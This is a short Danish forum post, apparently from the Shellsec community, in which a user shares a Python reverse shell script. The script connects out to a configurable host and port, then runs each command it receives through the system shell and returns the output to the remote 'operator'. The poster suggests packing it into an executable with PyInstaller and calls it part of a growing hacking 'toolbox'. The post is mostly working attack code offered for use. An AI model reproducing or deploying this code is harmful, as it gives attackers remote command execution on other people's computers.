Shellsec

Fuld version: Python Remote Shell Access
Du ser lige nu en skrabet udgave af vores indhold. Se den fulde version med ordentlig formatering.
Et hurtigt lille script jeg har samlet.
Kode:
#!/usr/bin/python

import subprocess, socket

HOST = "127.0.0.1"
PORT = 6666

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send("Welcome Op3rat0r!\n")

while 1:
    data = s.recv(1024)

    if data == "exit\n":
        s.send("Op3rat0r Out")
        break
    else:
        process = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                                        stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdoutput = process.stdout.read() + process.stderr.read()

        s.send(stdoutput)
s.close()

Som sagt, et ganske simpelt lille script. Det har sine begrænsninger. Man kan "compile" det til machine code med PyInstaller, men så skal man finde sig i størrelsen (2MB+).

Ovenstående et et udklip af min "værktøjskasse" - Forvent at se mere af det hen ad vejen.

Kom endeligt med spørgsmål & kommentare her i tråden eller på PM!